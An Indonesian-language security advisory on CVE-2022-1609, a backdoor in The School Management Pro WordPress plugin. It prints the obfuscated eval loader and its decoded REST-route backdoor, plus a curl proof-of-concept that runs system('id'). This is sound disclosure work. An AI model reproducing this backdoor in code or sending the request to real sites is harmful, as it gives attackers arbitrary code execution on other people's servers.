Backdoor ditemukan di plugin The School Management Pro untuk WordPress

Diterbitkan: 2022-05-20

Versi sebelum 9.9.7 plugin WordPress "The School Management Pro" dari Weblizar berisi pintu belakang yang memungkinkan penyerang yang tidak diautentikasi untuk mengeksekusi kode PHP arbitrer di situs dengan plugin terpasang. Jika Anda memiliki versi sebelumnya yang terinstal di situs Anda, sebaiknya segera tingkatkan ke versi 9.9.7 atau yang lebih baru. Ini adalah masalah keamanan yang kritis.

Baca terus untuk detail lengkapnya.

Detail:

  • Nama plugin: Manajemen Sekolah Pro
  • Plugin slug: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , dll
  • Penjual: Weblizar
  • Versi yang terpengaruh: < 9.9.7
  • CVE: CVE-2022-1609
  • Skor CVSS: 10.0 (Kritis)
  • Vektor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Bagian dari pekerjaan di Jetpack Scan adalah mendukung bisnis WordPress yang dihosting dengan memeriksa file mencurigakan yang ditemukan di situs yang kami host. Biasanya ini disebabkan oleh file yang ditandai oleh salah satu tanda tangan kami, atau pemilik situs telah menemukan sesuatu yang mencurigakan dan menginginkan pendapat kami. Seperti sifatnya, terkadang file-file ini tidak berbahaya, beberapa positif palsu, dan beberapa adalah jenis atau variasi malware baru yang membutuhkan lebih banyak pekerjaan untuk mengklasifikasikan dengan benar.

Namun terkadang, apa yang kita dapatkan lebih menarik bersama-sama.

Beberapa minggu yang lalu satu insiden seperti itu terjadi. Tim dukungan eskalasi WordPress.com menghubungi kami tentang beberapa kode yang jelas-jelas berbahaya yang ditemukan di plugin di beberapa situs.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Setelah dua putaran deobfuscation sepele, ini memberikan:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Kode itu sendiri tidak terlalu menarik: ini adalah pintu belakang yang jelas disuntikkan ke dalam kode pemeriksaan lisensi plugin. Ini memungkinkan penyerang untuk mengeksekusi kode PHP sewenang-wenang di situs dengan plugin yang diinstal, seperti yang dapat dilihat pada bukti konsep di bawah ini:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Ini adalah hal yang sering kita lihat di plugin nulled; ini sering terjadi sehingga kami memiliki kasus serupa yang sudah dibahas di posting sebelumnya. Asumsi pertama kami adalah bahwa ini juga terjadi di sini; pemilik situs telah menginstal plugin dari sumber yang teduh.

Namun, kami yakin bahwa plugin yang diinstal diterima langsung dari vendor. Ini juga dengan cepat dikonfirmasi oleh vendor yang menghapus kode yang menyinggung setelah mengetahui keberadaannya.

Kami telah mencoba untuk mendapatkan lebih banyak informasi dari vendor tentang kapan backdoor disuntikkan, versi apa yang terpengaruh, dan bagaimana kode tersebut berakhir di plugin. Upaya ini tidak berhasil, karena vendor mengatakan mereka tidak tahu kapan atau bagaimana kode tersebut masuk ke perangkat lunak mereka.

Kami telah melihat versi setidaknya dari 8.9 yang berisi pintu belakang di sistem kami yang dihosting, tetapi karena kami tidak memiliki informasi yang jelas tentang kapan pintu belakang pertama kali muncul, kami harus mengasumsikan versi apa pun sebelum 9.9.7 terpengaruh.

Mendeteksi dan memperingatkan tentang masalah ini semakin diperumit oleh plugin yang beroperasi di bawah sejumlah slug yang berbeda, sering kali menggunakan slug yang berisi nomor versi. Dalam sistem yang dihosting kami, kami telah melihat setidaknya varian ini:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

Versi gratis dari repositori plugin WordPress.org tidak berisi kode lisensi, dan juga tidak terpengaruh oleh pintu belakang ini.

Linimasa

2022-05-04: Tim dukungan WordPress.com yang dieskalasi menemukan kode yang disuntikkan dan menghubungi Jetpack Scan untuk menganalisis dan memverifikasi temuan. Setelah mengonfirmasi bahwa itu adalah pintu belakang, mereka memberi tahu vendor.

2022-05-05: Vendor mengonfirmasi bahwa kode yang disuntikkan memang ada dalam distribusi mereka, dan memberi kami versi 9.9.7 di mana pintu belakang dihapus. Kami pastikan sudah bersih.

2022-05-06: Vendor secara aktif mendistribusikan versi 9.9.7 kepada pelanggan mereka dan mendorong mereka untuk memperbarui.

2022-05-10: Vendor menjawab pertanyaan tambahan kami tentang apakah mereka tahu kapan pintu belakang ditambahkan, tetapi mengklaim bahwa mereka tidak tahu. Mereka memang menyediakan versi sebelumnya, 9.9.4, yang menyertakan pintu belakang.

Kesimpulan

Kami menyarankan situs mana pun dengan versi apa pun yang lebih awal dari 9.9.7 dari The School Management Pro yang diinstal segera lakukan pemutakhiran.

Di Jetpack, kami bekerja keras untuk memastikan situs web Anda terlindungi dari jenis kerentanan ini. Kami menyarankan Anda memiliki rencana keamanan untuk situs Anda yang mencakup pemindaian dan pencadangan file berbahaya. Jetpack Security adalah salah satu opsi keamanan WordPress yang bagus untuk memastikan situs dan pengunjung Anda aman.

kredit

Penelitian ini merupakan kerjasama antara tim dukungan WordPress.com yang meningkat dengan Nic Sevic, Thom Stackhouse dan Joshua Goode, dan Jetpack Scan dengan Harald Eilertsen dan Fioravante Cavallari. Juga terima kasih kepada Benedict Singer atas umpan balik dan koreksinya.